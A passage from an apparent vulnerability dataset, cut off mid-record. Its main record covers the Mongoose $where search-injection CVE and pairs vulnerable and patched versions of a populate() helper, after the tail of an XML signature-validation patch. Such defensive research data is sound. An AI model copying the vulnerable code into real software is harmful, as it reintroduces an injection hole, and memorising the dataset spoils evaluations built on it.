      ),\n+            \"the Reference element must have a URI attribute\": (\n+                the_Reference_element_must_have_a_URI_attribute\n+            ),\n+            \"the URI attribute contains an anchor\": (\n+                the_URI_attribute_contains_an_anchor\n+            ),\n+            \"the anchor points to the enclosing element ID attribute\": (\n+                the_anchor_points_to_the_enclosing_element_ID_attribute\n+            ),\n+        }\n+        if not all(validators.values()):\n+            error_context = {\n+                \"message\": \"Signature failed to meet constraints on xmldsig\",\n+                \"validators\": validators,\n+                \"item ID\": item.id,\n+                \"reference URI\": item.signature.signed_info.reference[0].uri,\n+                \"issuer\": _issuer,\n+                \"node name\": node_name,\n+                \"xml document\": decoded_xml,\n+            }\n+            raise SignatureError(error_context)\n+\n         verified = False\n         last_pem_file = None\n \n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2025-23061", "cve_description": "Mongoose before 8.9.5 can improperly use a nested $where filter with a populate() match, leading to search injection. NOTE: this issue exists because of an incomplete fix for CVE-2024-53900.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/Automattic/mongoose", "patch_url": ["https://github.com/Automattic/mongoose/commit/64a9f9706f2428c49e0cfb8e223065acc645f7bc"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_261_1", "commit": "15bdccf", "file_path": "lib/helpers/populate/getModelsMapForPopulate.js", "start_line": 20, "end_line": 358, "snippet": "module.exports = function getModelsMapForPopulate(model, docs, options) {\n  let doc;\n  const len = docs.length;\n  const map = [];\n  const modelNameFromQuery = options.model && options.model.modelName || options.model;\n  let schema;\n  let refPath;\n  let modelNames;\n  const available = {};\n\n  const modelSchema = model.schema;\n\n  // Populating a nested path should always be a no-op re: #9073.\n  // People shouldn't do this, but apparently they do.\n  if (options._localModel != null && options._localModel.schema.nested[options.path]) {\n    return [];\n  }\n\n  const _virtualRes = getVirtual(model.schema, options.path);\n  const virtual = _virtualRes == null ? null : _virtualRes.virtual;\n  if (virtual != null) {\n    return _virtualPopulate(model, docs, options, _virtualRes);\n  }\n\n  let allSchemaTypes = getSchemaTypes(model, modelSchema, null, options.path);\n  allSchemaTypes = Array.isArray(allSchemaTypes) ? allSchemaTypes : [allSchemaTypes].filter(v => v != null);\n\n  if (allSchemaTypes.length === 0 && options.strictPopulate !== false && options._localModel != null) {\n    return new StrictPopulate(options._fullPath || options.path);\n  }\n\n  for (let i = 0; i < len; i++) {\n    doc = docs[i];\n    let justOne = null;\n\n    const docSchema = doc != null && doc.$__ != null ? doc.$__schema : modelSchema;\n    schema = getSchemaTypes(model, docSchema, doc, options.path);\n\n    // Special case: populating a path that's a DocumentArray unless\n    // there's an explicit `ref` or `refPath` re: gh-8946\n    if (schema != null &&\n        schema.$isMongooseDocumentArray &&\n        schema.options.ref == null &&\n        schema.options.refPath == null) {\n      continue;\n    }\n    const isUnderneathDocArray = schema && schema.$isUnderneathDocArray;\n    if (isUnderneathDocArray && get(options, 'options.sort') != null) {\n      return new MongooseError('Cannot populate with `sort` on path ' + options.path +\n        ' because it is a subproperty of a document array');\n    }\n\n    modelNames = null;\n    let isRefPath = false;\n    let normalizedRefPath = null;\n    let schemaOptions = null;\n    let modelNamesInOrder = null;\n\n    if (schema != null && schema.instance === 'Embedded') {\n      if (schema.options.ref) {\n        const data = {\n          localField: options.path + '._id',\n          foreignField: '_id',\n          justOne: true\n        };\n        const res = _getModelNames(doc, schema, modelNameFromQuery, model);\n\n        const unpopulatedValue = mpath.get(options.path, doc);\n        const id = mpath.get('_id', unpopulatedValue);\n        addModelNamesToMap(model, map, available, res.modelNames, options, data, id, doc, schemaOptions, unpopulatedValue);\n      }\n      // No-op if no `ref` set. See gh-11538\n      continue;\n    }\n\n    if (Array.isArray(schema)) {\n      const schemasArray = schema;\n      for (const _schema of schemasArray) {\n        let _modelNames;\n        let res;\n        try {\n          res = _getModelNames(doc, _schema, modelNameFromQuery, model);\n          _modelNames = res.modelNames;\n          isRefPath = isRefPath || res.isRefPath;\n          normalizedRefPath = normalizedRefPath || res.refPath;\n          justOne = res.justOne;\n        } catch (error) {\n          return error;\n        }\n\n        if (isRefPath && !res.isRefPath) {\n          continue;\n        }\n        if (!_modelNames) {\n          continue;\n        }\n        modelNames = modelNames || [];\n        for (const modelName of _modelNames) {\n          if (modelNames.indexOf(modelName) === -1) {\n            modelNames.push(modelName);\n          }\n        }\n      }\n    } else {\n      try {\n        const res = _getModelNames(doc, schema, modelNameFromQuery, model);\n        modelNames = res.modelNames;\n        isRefPath = res.isRefPath;\n        normalizedRefPath = normalizedRefPath || res.refPath;\n        justOne = res.justOne;\n        schemaOptions = get(schema, 'options.populate', null);\n        // Dedupe, because `refPath` can return duplicates of the same model name,\n        // and that causes perf issues.\n        if (isRefPath) {\n          modelNamesInOrder = modelNames;\n          modelNames = Array.from(new Set(modelNames));\n        }\n      } catch (error) {\n        return error;\n      }\n\n      if (!modelNames) {\n        continue;\n      }\n    }\n\n    const data = {};\n    const localField = options.path;\n    const foreignField = '_id';\n\n    // `justOne = null` means we don't know from the schema whether the end\n    // result should be an array or a single doc. This can result from\n    // populating a POJO using `Model.populate()`\n    if ('justOne' in options && options.justOne !== void 0) {\n      justOne = options.justOne;\n    } else if (schema && !schema[schemaMixedSymbol]) {\n      // Skip Mixed types because we explicitly don't do casting on those.\n      if (options.path.endsWith('.' + schema.path) || options.path === schema.path) {\n        justOne = Array.isArray(schema) ?\n          schema.every(schema => !schema.$isMongooseArray) :\n          !schema.$isMongooseArray;\n      }\n    }\n\n    if (!modelNames) {\n      continue;\n    }\n\n    data.isVirtual = false;\n    data.justOne = justOne;\n    data.localField = localField;\n    data.foreignField = foreignField;\n\n    // Get local fields\n    const ret = _getLocalFieldValues(doc, localField, model, options, null, schema);\n\n    const id = String(utils.getValue(foreignField, doc));\n    options._docs[id] = Array.isArray(ret) ? ret.slice() : ret;\n\n    let match = get(options, 'match', null);\n\n    const hasMatchFunction = typeof match === 'function';\n    if (hasMatchFunction) {\n      match = match.call(doc, doc);\n    }\n    if (Array.isArray(match)) {\n      for (const item of match) {\n        if (item != null && item.$where) {\n          throw new MongooseError('Cannot use $where filter with populate() match');\n        }\n      }\n    } else if (match != null && match.$where != null) {\n      throw new MongooseError('Cannot use $where filter with populate() match');\n    }\n    data.match = match;\n    data.hasMatchFunction = hasMatchFunction;\n    data.isRefPath = isRefPath;\n    data.modelNamesInOrder = modelNamesInOrder;\n\n    if (isRefPath) {\n      const embeddedDiscriminatorModelNames = _findRefPathForDiscriminators(doc,\n        modelSchema, data, options, normalizedRefPath, ret);\n\n      modelNames = embeddedDiscriminatorModelNames || modelNames;\n    }\n\n    try {\n      addModelNamesToMap(model, map, available, modelNames, options, data, ret, doc, schemaOptions);\n    } catch (err) {\n      return err;\n    }\n  }\n  return map;\n\n  function _getModelNames(doc, schema, modelNameFromQuery, model) {\n    let modelNames;\n    let isRefPath = false;\n    let justOne = null;\n\n    const originalSchema = schema;\n    if (schema && schema.instance === 'Array') {\n      schema = schema.caster;\n    }\n    if (schema && schema.$isSchemaMap) {\n      schema = schema.$__schemaType;\n    }\n\n    const ref = schema && schema.options && schema.options.ref;\n    refPath = schema && schema.options && schema.options.refPath;\n    if (schema != null &&\n        schema[schemaMixedSymbol] &&\n        !ref &&\n        !refPath &&\n        !modelNameFromQuery) {\n      return { modelNames: null };\n    }\n\n    if (modelNameFromQuery) {\n      modelNames = [modelNameFromQuery]; // query options\n    } else if (refPath != null) {\n      if (typeof refPath === 'function') {\n        const subdocPath = options.path.slice(0, options.path.length - schema.path.length - 1);\n        const vals = mpath.get(subdocPath, doc, lookupLocalFields);\n        const subdocsBeingPopulated = Array.isArray(vals) ?\n          utils.array.flatten(vals) :\n          (vals ? [vals] : []);\n\n        modelNames = new Set();\n        for (const subdoc of subdocsBeingPopulated) {\n          refPath = refPath.call(subdoc, subdoc, options.path);\n          modelNamesFromRefPath(refPath, doc, options.path, modelSchema, options._queryProjection).\n            forEach(name => modelNames.add(name));\n        }\n        modelNames = Array.from(modelNames);\n      } else {\n        modelNames = modelNamesFromRefPath(refPath, doc, options.path, modelSchema, options._queryProjection);\n      }\n\n      isRefPath = true;\n    } else {\n      let ref;\n      let refPath;\n      let schemaForCurrentDoc;\n      let discriminatorValue;\n      let modelForCurrentDoc = model;\n      const discriminatorKey = model.schema.options.discriminatorKey;\n\n      if (!schema && discriminatorKey && (discriminatorValue = utils.getValue(discriminatorKey, doc))) {\n        // `modelNameForFind` is the discriminator value, so we might need\n        // find the discriminated model name\n        const discriminatorModel = getDiscriminatorByValue(model.discriminators, discriminatorValue) || model;\n        if (discriminatorModel != null) {\n          modelForCurrentDoc = discriminatorModel;\n        } else {\n          try {\n            modelForCurrentDoc = _getModelFromConn(model.db, discriminatorValue);\n          } catch (error) {\n            return error;\n          }\n        }\n\n        schemaForCurrentDoc = modelForCurrentDoc.schema._getSchema(options.path);\n\n        if (schemaForCurrentDoc && schemaForCurrentDoc.caster) {\n          schemaForCurrentDoc = schemaForCurrentDoc.caster;\n        }\n      } else {\n        schemaForCurrentDoc = schema;\n      }\n\n      if (originalSchema && originalSchema.path.endsWith('.$*')) {\n        justOne = !originalSchema.$isMongooseArray && !originalSchema._arrayPath;\n      } else if (schemaForCurrentDoc != null) {\n        justOne = !schemaForCurrentDoc.$isMongooseArray && !schemaForCurrentDoc._arrayPath;\n      }\n\n      if ((ref = get(schemaForCurrentDoc, 'options.ref')) != null) {\n        if (schemaForCurrentDoc != null &&\n            typeof ref === 'function' &&\n            options.path.endsWith('.' + schemaForCurrentDoc.path)) {\n          // Ensure correct context for ref functions: subdoc, not top-level doc. See gh-8469\n          modelNames = new Set();\n\n          const subdocPath = options.path.slice(0, options.path.length - schemaForCurrentDoc.path.length - 1);\n          const vals = mpath.get(subdocPath, doc, lookupLocalFields);\n          const subdocsBeingPopulated = Array.isArray(vals) ?\n            utils.array.flatten(vals) :\n            (vals ? [vals] : []);\n          for (const subdoc of subdocsBeingPopulated) {\n            modelNames.add(handleRefFunction(ref, subdoc));\n          }\n\n          if (subdocsBeingPopulated.length === 0) {\n            modelNames = [handleRefFunction(ref, doc)];\n          } else {\n            modelNames = Array.from(modelNames);\n          }\n        } else {\n          ref = handleRefFunction(ref, doc);\n          modelNames = [ref];\n        }\n      } else if ((schemaForCurrentDoc = get(schema, 'options.refPath')) != null) {\n        isRefPath = true;\n        if (typeof refPath === 'function') {\n          const subdocPath = options.path.slice(0, options.path.length - schemaForCurrentDoc.path.length - 1);\n          const vals = mpath.get(subdocPath, doc, lookupLocalFields);\n          const subdocsBeingPopulated = Array.isArray(vals) ?\n            utils.array.flatten(vals) :\n            (vals ? [vals] : []);\n\n          modelNames = new Set();\n          for (const subdoc of subdocsBeingPopulated) {\n            refPath = refPath.call(subdoc, subdoc, options.path);\n            modelNamesFromRefPath(refPath, doc, options.path, modelSchema, options._queryProjection).\n              forEach(name => modelNames.add(name));\n          }\n          modelNames = Array.from(modelNames);\n        } else {\n          modelNames = modelNamesFromRefPath(refPath, doc, options.path, modelSchema, options._queryProjection);\n        }\n      }\n    }\n\n    if (!modelNames) {\n      // `Model.populate()` on a POJO with no known local model. Default to using the `Model`\n      if (options._localModel == null) {\n        modelNames = [model.modelName];\n      } else {\n        return { modelNames: modelNames, justOne: justOne, isRefPath: isRefPath, refPath: refPath };\n      }\n    }\n\n    if (!Array.isArray(modelNames)) {\n      modelNames = [modelNames];\n    }\n\n    return { modelNames: modelNames, justOne: justOne, isRefPath: isRefPath, refPath: refPath };\n  }\n};"}, {"id": "vul_js_261_2", "commit": "15bdccf", "file_path": "lib/helpers/populate/getModelsMapForPopulate.js", "start_line": 364, "end_line": 493, "snippet": "function _virtualPopulate(model, docs, options, _virtualRes) {\n  const map = [];\n  const available = {};\n  const virtual = _virtualRes.virtual;\n\n  for (const doc of docs) {\n    let modelNames = null;\n    const data = {};\n\n    // localField and foreignField\n    let localField;\n    const virtualPrefix = _virtualRes.nestedSchemaPath ?\n      _virtualRes.nestedSchemaPath + '.' : '';\n    if (typeof options.localField === 'string') {\n      localField = options.localField;\n    } else if (typeof virtual.options.localField === 'function') {\n      localField = virtualPrefix + virtual.options.localField.call(doc, doc);\n    } else if (Array.isArray(virtual.options.localField)) {\n      localField = virtual.options.localField.map(field => virtualPrefix + field);\n    } else {\n      localField = virtualPrefix + virtual.options.localField;\n    }\n    data.count = virtual.options.count;\n\n    if (virtual.options.skip != null && !options.hasOwnProperty('skip')) {\n      options.skip = virtual.options.skip;\n    }\n    if (virtual.options.limit != null && !options.hasOwnProperty('limit')) {\n      options.limit = virtual.options.limit;\n    }\n    if (virtual.options.perDocumentLimit != null && !options.hasOwnProperty('perDocumentLimit')) {\n      options.perDocumentLimit = virtual.options.perDocumentLimit;\n    }\n    let foreignField = virtual.options.foreignField;\n\n    if (!localField || !foreignField) {\n      return new MongooseError('If you are populating a virtual, you must set the ' +\n        'localField and foreignField options');\n    }\n\n    if (typeof localField === 'function') {\n      localField = localField.call(doc, doc);\n    }\n    if (typeof foreignField === 'function') {\n      foreignField = foreignField.call(doc, doc);\n    }\n\n    data.isRefPath = false;\n\n    // `justOne = null` means we don't know from the schema whether the end\n    // result should be an array or a single doc. This can result from\n    // populating a POJO using `Model.populate()`\n    let justOne = null;\n    if ('justOne' in options && options.justOne !== void 0) {\n      justOne = options.justOne;\n    }\n\n    if (virtual.options.refPath) {\n      modelNames =\n        modelNamesFromRefPath(virtual.options.refPath, doc, options.path);\n      justOne = !!virtual.options.justOne;\n      data.isRefPath = true;\n    } else if (virtual.options.ref) {\n      let normalizedRef;\n      if (typeof virtual.options.ref === 'function' && !virtual.options.ref[modelSymbol]) {\n        normalizedRef = virtual.options.ref.call(doc, doc);\n      } else {\n        normalizedRef = virtual.options.ref;\n      }\n      justOne = !!virtual.options.justOne;\n      // When referencing nested arrays, the ref should be an Array\n      // of modelNames.\n      if (Array.isArray(normalizedRef)) {\n        modelNames = normalizedRef;\n      } else {\n        modelNames = [normalizedRef];\n      }\n    }\n\n    data.isVirtual = true;\n    data.virtual = virtual;\n    data.justOne = justOne;\n\n    // `match`\n    let match = get(options, 'match', null) ||\n      get(data, 'virtual.options.match', null) ||\n      get(data, 'virtual.options.options.match', null);\n\n    let hasMatchFunction = typeof match === 'function';\n    if (hasMatchFunction) {\n      match = match.call(doc, doc);\n    }\n\n    if (Array.isArray(localField) && Array.isArray(foreignField) && localField.length === foreignField.length) {\n      match = Object.assign({}, match);\n      for (let i = 1; i < localField.length; ++i) {\n        match[foreignField[i]] = convertTo_id(mpath.get(localField[i], doc, lookupLocalFields), model.schema);\n        hasMatchFunction = true;\n      }\n\n      localField = localField[0];\n      foreignField = foreignField[0];\n    }\n    data.localField = localField;\n    data.foreignField = foreignField;\n    data.match = match;\n    data.hasMatchFunction = hasMatchFunction;\n\n    if (Array.isArray(match)) {\n      for (const item of match) {\n        if (item != null && item.$where) {\n          throw new MongooseError('Cannot use $where filter with populate() match');\n        }\n      }\n    } else if (match != null && match.$where != null) {\n      throw new MongooseError('Cannot use $where filter with populate() match');\n    }\n\n    // Get local fields\n    const ret = _getLocalFieldValues(doc, localField, model, options, virtual);\n\n    try {\n      addModelNamesToMap(model, map, available, modelNames, options, data, ret, doc);\n    } catch (err) {\n      return err;\n    }\n  }\n\n  return map;\n}"}], "fix_func": [{"id": "fix_js_261_1", "commit": "64a9f9706f2428c49e0cfb8e223065acc645f7bc", "file_path": "lib/helpers/populate/getModelsMapForPopulate.js", "start_line": 20, "end_line": 350, "snippet": "module.exports = function getModelsMapForPopulate(model, docs, options) {\n  let doc;\n  const len = docs.length;\n  const map = [];\n  const modelNameFromQuery = options.model && options.model.modelName || options.model;\n  let schema;\n  let refPath;\n  let modelNames;\n  const available = {};\n\n  const modelSchema = model.schema;\n\n  // Populating a nested path should always be a no-op re: #9073.\n  // People shouldn't do this, but apparently they do.\n  if (options._localModel != null && options._localModel.schema.nested[options.path]) {\n    return [];\n  }\n\n  const _virtualRes = getVirtual(model.schema, options.path);\n  const virtual = _virtualRes == null ? null : _virtualRes.virtual;\n  if (virtual != null) {\n    return _virtualPopulate(model, docs, options, _virtualRes);\n  }\n\n  let allSchemaTypes = getSchemaTypes(model, modelSchema, null, options.path);\n  allSchemaTypes = Array.isArray(allSchemaTypes) ? allSchemaTypes : [allSchemaTypes].filter(v => v != null);\n\n  if (allSchemaTypes.length === 0 && options.strictPopulate !== false && options._localModel != null) {\n    return new StrictPopulate(options._fullPath || options.path);\n  }\n\n  for (let i = 0; i < len; i++) {\n    doc = docs[i];\n    let justOne = null;\n\n    const docSchema = doc != null && doc.$__ != null ? doc.$__schema : modelSchema;\n    schema = getSchemaTypes(model, docSchema, doc, options.path);\n\n    // Special case: populating a path that's a DocumentArray unless\n    // there's an explicit `ref` or `refPath` re: gh-8946\n    if (schema != null &&\n        schema.$isMongooseDocumentArray &&\n        schema.options.ref == null &&\n        schema.options.refPath == null) {\n      continue;\n    }\n    const isUnderneathDocArray = schema && schema.$isUnderneathDocArray;\n    if (isUnderneathDocArray && get(options, 'options.sort') != null) {\n      return new MongooseError('Cannot populate with `sort` on path ' + options.path +\n        ' because it is a subproperty of a document array');\n    }\n\n    modelNames = null;\n    let isRefPath = false;\n    let normalizedRefPath = null;\n    let schemaOptions = null;\n    let modelNamesInOrder = null;\n\n    if (schema != null && schema.instance === 'Embedded') {\n      if (schema.options.ref) {\n        const data = {\n          localField: options.path + '._id',\n          foreignField: '_id',\n          justOne: true\n        };\n        const res = _getModelNames(doc, schema, modelNameFromQuery, model);\n\n        const unpopulatedValue = mpath.get(options.path, doc);\n        const id = mpath.get('_id', unpopulatedValue);\n        addModelNamesToMap(model, map, available, res.modelNames, options, data, id, doc, schemaOptions, unpopulatedValue);\n      }\n      // No-op if no `ref` set. See gh-11538\n      continue;\n    }\n\n    if (Array.isArray(schema)) {\n      const schemasArray = schema;\n      for (const _schema of schemasArray) {\n        let _modelNames;\n        let res;\n        try {\n          res = _getModelNames(doc, _schema, modelNameFromQuery, model);\n          _modelNames = res.modelNames;\n          isRefPath = isRefPath || res.isRefPath;\n          normalizedRefPath = normalizedRefPath || res.refPath;\n          justOne = res.justOne;\n        } catch (error) {\n          return error;\n        }\n\n        if (isRefPath && !res.isRefPath) {\n          continue;\n        }\n        if (!_modelNames) {\n          continue;\n        }\n        modelNames = modelNames || [];\n        for (const modelName of _modelNames) {\n          if (modelNames.indexOf(modelName) === -1) {\n            modelNames.push(modelName);\n          }\n        }\n      }\n    } else {\n      try {\n        const res = _getModelNames(doc, schema, modelNameFromQuery, model);\n        modelNames = res.modelNames;\n        isRefPath = res.isRefPath;\n        normalizedRefPath = normalizedRefPath || res.refPath;\n        justOne = res.justOne;\n        schemaOptions = get(schema, 'options.populate', null);\n        // Dedupe, because `refPath` can return duplicates of the same model name,\n        // and that causes perf issues.\n        if (isRefPath) {\n          modelNamesInOrder = modelNames;\n          modelNames = Array.from(new Set(modelNames));\n        }\n      } catch (error) {\n        return error;\n      }\n\n      if (!modelNames) {\n        continue;\n      }\n    }\n\n    const data = {};\n    const localField = options.path;\n    const foreignField = '_id';\n\n    // `justOne = null` means we don't know from the schema whether the end\n    // result should be an array or a single doc. This can result from\n    // populating a POJO using `Model.populate()`\n    if ('justOne' in options && options.justOne !== void 0) {\n      justOne = options.justOne;\n    } else if (schema && !schema[schemaMixedSymbol]) {\n      // Skip Mixed types because we explicitly don't do casting on those.\n      if (options.path.endsWith('.' + schema.path) || options.path === schema.path) {\n        justOne = Array.isArray(schema) ?\n          schema.every(schema => !schema.$isMongooseArray) :\n          !schema.$isMongooseArray;\n      }\n    }\n\n    if (!modelNames) {\n      continue;\n    }\n\n    data.isVirtual = false;\n    data.justOne = justOne;\n    data.localField = localField;\n    data.foreignField = foreignField;\n\n    // Get local fields\n    const ret = _getLocalFieldValues(doc, localField, model, options, null, schema);\n\n    const id = String(utils.getValue(foreignField, doc));\n    options._docs[id] = Array.isArray(ret) ? ret.slice() : ret;\n\n    let match = get(options, 'match', null);\n\n    const hasMatchFunction = typeof match === 'function';\n    if (hasMatchFunction) {\n      match = match.call(doc, doc);\n    }\n    throwOn$where(match);\n    data.match = match;\n    data.hasMatchFunction = hasMatchFunction;\n    data.isRefPath = isRefPath;\n    data.modelNamesInOrder = modelNamesInOrder;\n\n    if (isRefPath) {\n      const embeddedDiscriminatorModelNames = _findRefPathForDiscriminators(doc,\n        modelSchema, data, options, normalizedRefPath, ret);\n\n      modelNames = embeddedDiscriminatorModelNames || modelNames;\n    }\n\n    try {\n      addModelNamesToMap(model, map, available, modelNames, options, data, ret, doc, schemaOptions);\n    } catch (err) {\n      return err;\n    }\n  }\n  return map;\n\n  function _getModelNames(doc, schema, modelNameFromQuery, model) {\n    let modelNames;\n    let isRefPath = false;\n    let justOne = null;\n\n    const originalSchema = schema;\n    if (schema && schema.instance === 'Array') {\n      schema = schema.caster;\n    }\n    if (schema && schema.$isSchemaMap) {\n      schema = schema.$__schemaType;\n    }\n\n    const ref = schema && schema.options && schema.options.ref;\n    refPath = schema && schema.options && schema.options.refPath;\n    if (schema != null &&\n        schema[schemaMixedSymbol] &&\n        !ref &&\n        !refPath &&\n        !modelNameFromQuery) {\n      return { modelNames: null };\n    }\n\n    if (modelNameFromQuery) {\n      modelNames = [modelNameFromQuery]; // query options\n    } else if (refPath != null) {\n      if (typeof refPath === 'function') {\n        const subdocPath = options.path.slice(0, options.path.length - schema.path.length - 1);\n        const vals = mpath.get(subdocPath, doc, lookupLocalFields);\n        const subdocsBeingPopulated = Array.isArray(vals) ?\n          utils.array.flatten(vals) :\n          (vals ? [vals] : []);\n\n        modelNames = new Set();\n        for (const subdoc of subdocsBeingPopulated) {\n          refPath = refPath.call(subdoc, subdoc, options.path);\n          modelNamesFromRefPath(refPath, doc, options.path, modelSchema, options._queryProjection).\n            forEach(name => modelNames.add(name));\n        }\n        modelNames = Array.from(modelNames);\n      } else {\n        modelNames = modelNamesFromRefPath(refPath, doc, options.path, modelSchema, options._queryProjection);\n      }\n\n      isRefPath = true;\n    } else {\n      let ref;\n      let refPath;\n      let schemaForCurrentDoc;\n      let discriminatorValue;\n      let modelForCurrentDoc = model;\n      const discriminatorKey = model.schema.options.discriminatorKey;\n\n      if (!schema && discriminatorKey && (discriminatorValue = utils.getValue(discriminatorKey, doc))) {\n        // `modelNameForFind` is the discriminator value, so we might need\n        // find the discriminated model name\n        const discriminatorModel = getDiscriminatorByValue(model.discriminators, discriminatorValue) || model;\n        if (discriminatorModel != null) {\n          modelForCurrentDoc = discriminatorModel;\n        } else {\n          try {\n            modelForCurrentDoc = _getModelFromConn(model.db, discriminatorValue);\n          } catch (error) {\n            return error;\n          }\n        }\n\n        schemaForCurrentDoc = modelForCurrentDoc.schema._getSchema(options.path);\n\n        if (schemaForCurrentDoc && schemaForCurrentDoc.caster) {\n          schemaForCurrentDoc = schemaForCurrentDoc.caster;\n        }\n      } else {\n        schemaForCurrentDoc = schema;\n      }\n\n      if (originalSchema && originalSchema.path.endsWith('.$*')) {\n        justOne = !originalSchema.$isMongooseArray && !originalSchema._arrayPath;\n      } else if (schemaForCurrentDoc != null) {\n        justOne = !schemaForCurrentDoc.$isMongooseArray && !schemaForCurrentDoc._arrayPath;\n      }\n\n      if ((ref = get(schemaForCurrentDoc, 'options.ref')) != null) {\n        if (schemaForCurrentDoc != null &&\n            typeof ref === 'function' &&\n            options.path.endsWith('.' + schemaForCurrentDoc.path)) {\n          // Ensure correct context for ref functions: subdoc, not top-level doc. See gh-8469\n          modelNames = new Set();\n\n          const subdocPath = options.path.slice(0, options.path.length - schemaForCurrentDoc.path.length - 1);\n          const vals = mpath.get(subdocPath, doc, lookupLocalFields);\n          const subdocsBeingPopulated = Array.isArray(vals) ?\n            utils.array.flatten(vals) :\n            (vals ? [vals] : []);\n          for (const subdoc of subdocsBeingPopulated) {\n            modelNames.add(handleRefFunction(ref, subdoc));\n          }\n\n          if (subdocsBeingPopulated.length === 0) {\n            modelNames = [handleRefFunction(ref, doc)];\n          } else {\n            modelNames = Array.from(modelNames);\n          }\n        } else {\n          ref = handleRefFunction(ref, doc);\n          modelNames = [ref];\n        }\n      } else if ((schemaForCurrentDoc = get(schema, 'options.refPath')) != null) {\n        isRefPath = true;\n        if (typeof refPath === 'function') {\n          const subdocPath = options.path.slice(0, options.path.length - schemaForCurrentDoc.path.length - 1);\n          const vals = mpath.get(subdocPath, doc, lookupLocalFields);\n          const subdocsBeingPopulated = Array.isArray(vals) ?\n            utils.array.flatten(vals) :\n            (vals ? [vals] : []);\n\n          modelNames = new Set();\n          for (const subdoc of subdocsBeingPopulated) {\n            refPath = refPath.call(subdoc, subdoc, options.path);\n            modelNamesFromRefPath(refPath, doc, options.path, modelSchema, options._queryProjection).\n              forEach(name => modelNames.add(name));\n          }\n          modelNames = Array.from(modelNames);\n        } else {\n          modelNames = modelNamesFromRefPath(refPath, doc, options.path, modelSchema, options._queryProjection);\n        }\n      }\n    }\n\n    if (!modelNames) {\n      // `Model.populate()` on a POJO with no known local model. Default to using the `Model`\n      if (options._localModel == null) {\n        modelNames = [model.modelName];\n      } else {\n        return { modelNames: modelNames, justOne: justOne, isRefPath: isRefPath, refPath: refPath };\n      }\n    }\n\n    if (!Array.isArray(modelNames)) {\n      modelNames = [modelNames];\n    }\n\n    return { modelNames: modelNames, justOne: justOne, isRefPath: isRefPath, refPath: refPath };\n  }\n};"}, {"id": "fix_js_261_2", "commit": "64a9f9706f2428c49e0cfb8e223065acc645f7bc", "file_path": "lib/helpers/populate/getModelsMapForPopulate.js", "start_line": 356, "end_line": 477, "snippet": "function _virtualPopulate(model, docs, options, _virtualRes) {\n  const map = [];\n  const available = {};\n  const virtual = _virtualRes.virtual;\n\n  for (const doc of docs) {\n    let modelNames = null;\n    const data = {};\n\n    // localField and foreignField\n    let localField;\n    const virtualPrefix = _virtualRes.nestedSchemaPath ?\n      _virtualRes.nestedSchemaPath + '.' : '';\n    if (typeof options.localField === 'string') {\n      localField = options.localField;\n    } else if (typeof virtual.options.localField === 'function') {\n      localField = virtualPrefix + virtual.options.localField.call(doc, doc);\n    } else if (Array.isArray(virtual.options.localField)) {\n      localField = virtual.options.localField.map(field => virtualPrefix + field);\n    } else {\n      localField = virtualPrefix + virtual.options.localField;\n    }\n    data.count = virtual.options.count;\n\n    if (virtual.options.skip != null && !options.hasOwnProperty('skip')) {\n      options.skip = virtual.options.skip;\n    }\n    if (virtual.options.limit != null && !options.hasOwnProperty('limit')) {\n      options.limit = virtual.options.limit;\n    }\n    if (virtual.options.perDocumentLimit != null && !options.hasOwnProperty('perDocumentLimit')) {\n      options.perDocumentLimit = virtual.options.perDocumentLimit;\n    }\n    let foreignField = virtual.options.foreignField;\n\n    if (!localField || !foreignField) {\n      return new MongooseError('If you are populating a virtual, you must set the ' +\n        'localField and foreignField options');\n    }\n\n    if (typeof localField === 'function') {\n      localField = localField.call(doc, doc);\n    }\n    if (typeof foreignField === 'function') {\n      foreignField = foreignField.call(doc, doc);\n    }\n\n    data.isRefPath = false;\n\n    // `justOne = null` means we don't know from the schema whether the end\n    // result should be an array or a single doc. This can result from\n    // populating a POJO using `Model.populate()`\n    let justOne = null;\n    if ('justOne' in options && options.justOne !== void 0) {\n      justOne = options.justOne;\n    }\n\n    if (virtual.options.refPath) {\n      modelNames =\n        modelNamesFromRefPath(virtual.options.refPath, doc, options.path);\n      justOne = !!virtual.options.justOne;\n      data.isRefPath = true;\n    } else if (virtual.options.ref) {\n      let normalizedRef;\n      if (typeof virtual.options.ref === 'function' && !virtual.options.ref[modelSymbol]) {\n        normalizedRef = virtual.options.ref.call(doc, doc);\n      } else {\n        normalizedRef = virtual.options.ref;\n      }\n      justOne = !!virtual.options.justOne;\n      // When referencing nested arrays, the ref should be an Array\n      // of modelNames.\n      if (Array.isArray(normalizedRef)) {\n        modelNames = normalizedRef;\n      } else {\n        modelNames = [normalizedRef];\n      }\n    }\n\n    data.isVirtual = true;\n    data.virtual = virtual;\n    data.justOne = justOne;\n\n    // `match`\n    let match = get(options, 'match', null) ||\n      get(data, 'virtual.options.match', null) ||\n      get(data, 'virtual.options.options.match', null);\n\n    let hasMatchFunction = typeof match === 'function';\n    if (hasMatchFunction) {\n      match = match.call(doc, doc);\n    }\n\n    if (Array.isArray(localField) && Array.isArray(foreignField) && localField.length === foreignField.length) {\n      match = Object.assign({}, match);\n      for (let i = 1; i < localField.length; ++i) {\n        match[foreignField[i]] = convertTo_id(mpath.get(localField[i], doc, lookupLocalFields), model.schema);\n        hasMatchFunction = true;\n      }\n\n      localField = localField[0];\n      foreignField = foreignField[0];\n    }\n    data.localField = localField;\n    data.foreignField = foreignField;\n    data.match = match;\n    data.hasMatchFunction = hasMatchFunction;\n\n    throwOn$where(match);\n\n    // Get local fields\n    const ret = _getLocalFieldValues(doc, localField, model, options, virtual);\n\n    try {\n      addModelNamesToMap(model, map, available, modelNames, options, data, ret, doc);\n    } catch (err) {\n      return err;\n    }\n  }\n\n  return map;\n}"}, {"id": "fix_js_261_3", "commit": "64a9f9706f2428c49e0cfb8e223065acc645f7bc", 